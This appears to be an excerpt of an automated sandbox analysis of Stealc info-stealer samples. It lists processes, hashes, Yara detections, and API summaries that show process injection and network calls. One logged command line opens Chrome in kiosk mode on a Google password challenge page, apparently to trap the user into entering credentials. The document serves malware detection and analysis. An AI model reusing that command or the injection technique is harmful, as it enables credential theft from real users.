Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:02:23
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"
Imagebase:	0xd80000
File size:	1'843'712 bytes
MD5 hash:	4D54B2279D2B7CA76FDAF6D89C509355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000003.2156402720.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2243981246.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2244884023.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:02:23
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd80000
File size:	1'928'192 bytes
MD5 hash:	6C4B5FA44D73D27368A762B5581BCAAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000003.2199902950.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2428473626.000000000177B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2426500171.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:02:25
Start date:	28/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	19:02:26
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2632 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	19:02:30
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2060 --field-trial-handle=2044,i,13926108917370873368,3944536468102768891,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:02:31
Start date:	28/09/2024
Path:	C:\Users\user\1000026002\cee706a53f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000026002\cee706a53f.exe"
Imagebase:	0x750000
File size:	1'843'712 bytes
MD5 hash:	4D54B2279D2B7CA76FDAF6D89C509355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.2336894310.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000003.2247836152.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.2338351590.000000000121B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:02:39
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"
Imagebase:	0xd80000
File size:	1'843'712 bytes
MD5 hash:	4D54B2279D2B7CA76FDAF6D89C509355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2541355264.0000000001AA3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.2330683116.0000000005660000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2539828537.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:02:41
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5736 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	19:02:41
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5760 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:02:48
Start date:	28/09/2024
Path:	C:\Users\user\1000026002\cee706a53f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000026002\cee706a53f.exe"
Imagebase:	0x750000
File size:	1'843'712 bytes
MD5 hash:	4D54B2279D2B7CA76FDAF6D89C509355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2501696781.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2413577862.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2500617596.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 04A306C1 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ba2d436f47ff793601635e3c080768f9f901b78dbe57973bc880ef9bae20d22
Instruction ID: 18ba48b83ae1f39459d258229d27b8b6f53d0e1c7db94949fdb25231a2b4ab89
Opcode Fuzzy Hash: 5ba2d436f47ff793601635e3c080768f9f901b78dbe57973bc880ef9bae20d22
Instruction Fuzzy Hash: 84119AFB34D515BD314281912F18AF72B7EE5D6B323308427F407E450AF2986A8A3835

Function 04A305AB Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 847c5d959d1f976c45ce5a0ce7b2472cf5c23f83f6ad2ffb4cc8ef95274f6f73
Instruction ID: 50bcbb6781ced2e4accbf1a971b68c77cd8f773bb718705e3d267ab3c41a69cf
Opcode Fuzzy Hash: 847c5d959d1f976c45ce5a0ce7b2472cf5c23f83f6ad2ffb4cc8ef95274f6f73
Instruction Fuzzy Hash: 204167F724D214BEA20281952F45AF67F29E6D7731330843BF407DA24BF2C51A4A6072

Function 04A3062B Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc866a91f468da2d6cece613b5a199014facd505217318f2795bc4472be4763
Instruction ID: 091f57704c401500be1896790e5eba738c7ff02b3836808b8feede5fd3ebe4d9
Opcode Fuzzy Hash: 6cc866a91f468da2d6cece613b5a199014facd505217318f2795bc4472be4763
Instruction Fuzzy Hash: 943187FB30D2147EA20281A52F14AF63B3DE6D3B327308436F407EA10BF2C41A4A6072

Function 04A30624 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fc5ffbccedd0a4077930607523c032edf03abca6623ae1e41fc8e91e07976f8
Instruction ID: 6cfcf32b7d470a12ec484b129549922482fe2c92cda0b63b60a5a78eca4f1e77
Opcode Fuzzy Hash: 0fc5ffbccedd0a4077930607523c032edf03abca6623ae1e41fc8e91e07976f8
Instruction Fuzzy Hash: FD2123F734D515BE724281952F04AF66B3EE6D6B327308436F407E624EF2D46A4A3471

Function 04A30666 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fab2265624ef505f869747ff7a5d31f7000e1066169c51a4a411c9f8798c7d41
Instruction ID: e42b55d883afb2447b3ff3269897dd8db0d89bf9d01ec4284434cffb9b180a70
Opcode Fuzzy Hash: fab2265624ef505f869747ff7a5d31f7000e1066169c51a4a411c9f8798c7d41
Instruction Fuzzy Hash: 2D2105FB24D515BD714281912F18BF66B3EE6D6B327308832F807D550EF2D45A4A3471

Function 04A30682 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be282b22177c663d0838ce13e2763896ca776bbfdae37c4082fea9870590a7dc
Instruction ID: 8e1898a3b040800a50682ee10562f326e4ac8e5ba8bc163ce2d7f57d60cc6b8f
Opcode Fuzzy Hash: be282b22177c663d0838ce13e2763896ca776bbfdae37c4082fea9870590a7dc
Instruction Fuzzy Hash: 3A2133FB24D505BD714281912F14BF66B3EE6D6B327308436F807D650AF2D45A8A3871

Function 04A30692 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217461fff58e0c87233bb9ca8940658c56a77f3cf126ac571bf1863a91742c60
Instruction ID: 95123d7b847856791b96a68de8d00f1bfb00de0c7e87b84e97ef85566ed4dc15
Opcode Fuzzy Hash: 217461fff58e0c87233bb9ca8940658c56a77f3cf126ac571bf1863a91742c60
Instruction Fuzzy Hash: 3A2103FB24C515BDB24281A52F04AF6673EE6D6B317308426F807D614AF2945A4A3471

Function 04A306A2 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af1c8757f66158bc20483041c37cc3bdb0240ce06468b28abee10b61cc00a9c2
Instruction ID: 99439da9b5fbb8a610afeeb5c6ca510690840b25276ed40061edb3dd5001bf80
Opcode Fuzzy Hash: af1c8757f66158bc20483041c37cc3bdb0240ce06468b28abee10b61cc00a9c2
Instruction Fuzzy Hash: 552101FB24C515BDB24281912F14BFB6B7EE6D6B317308836F807D614AF2985A4A3471

Function 04A306E5 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2ba4b6f8a7afe69a098290f9cd6e4e0754c17d558e37ef0bcc8b31fb68fc599
Instruction ID: b7bf18b0a14227a3fa5b4a9b221d7e4e76879eb73c1763de1405b43f11dce3aa
Opcode Fuzzy Hash: d2ba4b6f8a7afe69a098290f9cd6e4e0754c17d558e37ef0bcc8b31fb68fc599
Instruction Fuzzy Hash: 9C2157F734C910BCB18281602B58AF62B7DE6D77327308467F407D550AF2896A8E7831

Function 04A3074D Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa72fe69f620684a202ad4607bb1de5bab932f13d63c03ab92e286c728b7f514
Instruction ID: abe7cd2e3a755284e13f42324b10b158248f4149ee6a480764f95e39facbad3f
Opcode Fuzzy Hash: aa72fe69f620684a202ad4607bb1de5bab932f13d63c03ab92e286c728b7f514
Instruction Fuzzy Hash: 2611E1FB34C9157D314280952F58AF66B7DE5D6B323308426F407D554AF2886A8A3871

Function 04A30702 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42c07ed6b5583306a1d00be0665e4896ce78a6fd93f491a5bf0afdf25ea9375b
Instruction ID: 66e535a3cbf04c06eb914e93f2e7d90e7cf4689929206a070b08f6f3e5859010
Opcode Fuzzy Hash: 42c07ed6b5583306a1d00be0665e4896ce78a6fd93f491a5bf0afdf25ea9375b
Instruction Fuzzy Hash: 52110EFB24D6117EB28281A12B18AF62B7DE6C3B32330803BF407D454AF1895A9A3531

Function 04A30733 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c068f9efbe34869459faee92fd722792feb92f8e240d6bfb90af6bc6dba3f2
Instruction ID: be59b9e6734255f40d56c82ba1460ad83ca32bb25ed70e12e91a795b7741e5f9
Opcode Fuzzy Hash: a4c068f9efbe34869459faee92fd722792feb92f8e240d6bfb90af6bc6dba3f2
Instruction Fuzzy Hash: 9701B1FB34D215BDA04191922F54BF3677DE2D67323318436F007D5549F2892A8E7470

Function 04A30761 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8b6ea29b373eb6d54f7065495ae6e49107bc7f66e77fcef3c94c21e78ee9051
Instruction ID: 3b68712876360ec30eb73c5799d2c3936d28951487d2651c6f3d6d943a12c2f4
Opcode Fuzzy Hash: d8b6ea29b373eb6d54f7065495ae6e49107bc7f66e77fcef3c94c21e78ee9051
Instruction Fuzzy Hash: 17F08CFB24D2117D718281923B58AF66BBDE5D6B32331883BF447D460AF18A1A9E7431

Non-executed Functions

Function 04A30197 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

Auo, xrefs: 04A30291

Memory Dump Source

Source File: 00000000.00000002.1477890080.0000000004A30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a30000_file.jbxd

Similarity

API ID:
String ID: Auo
API String ID: 0-2290897834
Opcode ID: 7107291e326224fddaec81b382843efe43822c93b2507f0eef316f2d97b9bb35
Instruction ID: 1500d718d4f59e1999ac42ae5b4e73feb55f15c9ca09ca2f73f9948a6feac6c1
Opcode Fuzzy Hash: 7107291e326224fddaec81b382843efe43822c93b2507f0eef316f2d97b9bb35
Instruction Fuzzy Hash: 2C118EFB34D160BEB20284522B25AFB673DD1C23313318427F803CA84AF3855E8A7172

Analysis Process: skotes.exePID: 4152, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10.9%
Total number of Nodes:	1873
Total number of Limit Nodes:	33

Executed Functions

Function 00D870A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 132
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00D8712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00D87144
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00D87159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00D87179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00D871BB
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00D871D8
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00D87291

Strings

, xrefs: 00D87170
invalid stoi argument, xrefs: 00D87090
VUUU, xrefs: 00D86F41

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFreeReadThreadWow64Write
String ID: $VUUU$invalid stoi argument
API String ID: 2898515578-3954507777
Opcode ID: 8b25952a75f0d5fde32caa286b043f44b6f696fa7be13d22db5e554572ab7468
Instruction ID: 425eb62e5a10edd191d490e9723be21997516570791a63556854f955bbb8e472
Opcode Fuzzy Hash: 8b25952a75f0d5fde32caa286b043f44b6f696fa7be13d22db5e554572ab7468
Instruction Fuzzy Hash: 6F41A470684301BFE720EB24DC06F9BB7E9FF55B00F501519B684A61D0E7B0E9148BAA

Function 00D8BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00D8BEB8
InternetOpenW.WININET(00DD8DC8,00000000,00000000,00000000,00000000), ref: 00D8BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D8BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00D8BF35
HttpSendRequestA.WININET(?,00000000), ref: 00D8BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00D8C0A8
InternetCloseHandle.WININET(?), ref: 00D8C187
InternetCloseHandle.WININET(?), ref: 00D8C18F
InternetCloseHandle.WININET(?), ref: 00D8C197

Strings

stoi argument out of range, xrefs: 00D8E4EA
RmNn, xrefs: 00D8D606
8HJUeIfzLo==, xrefs: 00D8C3CB, 00D8C623
RE1NXF==, xrefs: 00D8BF0E
8HJUeMD Lq5=, xrefs: 00D8C465
invalid stoi argument, xrefs: 00D8E4F4

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: f0a9a825fa21e815f23aebbba52c9b2a6e53cbcdf2c8aca9fc10cf8ad6bc43c0
Instruction ID: 4753611a6921abeefc705d402f9d695d475fd55b503587abdcf4c5c965d7cfb5
Opcode Fuzzy Hash: f0a9a825fa21e815f23aebbba52c9b2a6e53cbcdf2c8aca9fc10cf8ad6bc43c0
Instruction Fuzzy Hash: 4DB1E4B0610218DBDB24EF28CC85BADBBA9EF45304F504199F509972D1DB719AC4CFB4

Function 00D8E530 Relevance: 14.7, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WDw=, xrefs: 00D8F71D, 00D8F9FA
UA==, xrefs: 00D8EB0F, 00D8ED56
9c9aa5, xrefs: 00D8FB8E
WTw=, xrefs: 00D9097D
WTs=, xrefs: 00D905CA
#, xrefs: 00D90624
111, xrefs: 00D8F7A0
246122658369, xrefs: 00D8F737, 00D8FA14, 00D905E7, 00D9099A
MGE+, xrefs: 00D8E821
GnNoc2Hc, xrefs: 00D8E56C
MQ==, xrefs: 00D8E592

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: c0b178b8b23cf7dcc27989693f344507a5477dcc513a5d523da4fd1d09299b27
Instruction ID: a75014eb35fe1eec7829bd62d5685d43fed5e6e806ba92a96eeb60cb786d408b
Opcode Fuzzy Hash: c0b178b8b23cf7dcc27989693f344507a5477dcc513a5d523da4fd1d09299b27
Instruction Fuzzy Hash: 0C82C2709142889BEF14EF68C9497DE7FB6EB46304F508588E805673C2D7759A88CBF2

Function 00D865E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00D86680

Strings

GSTmfV==, xrefs: 00D86728
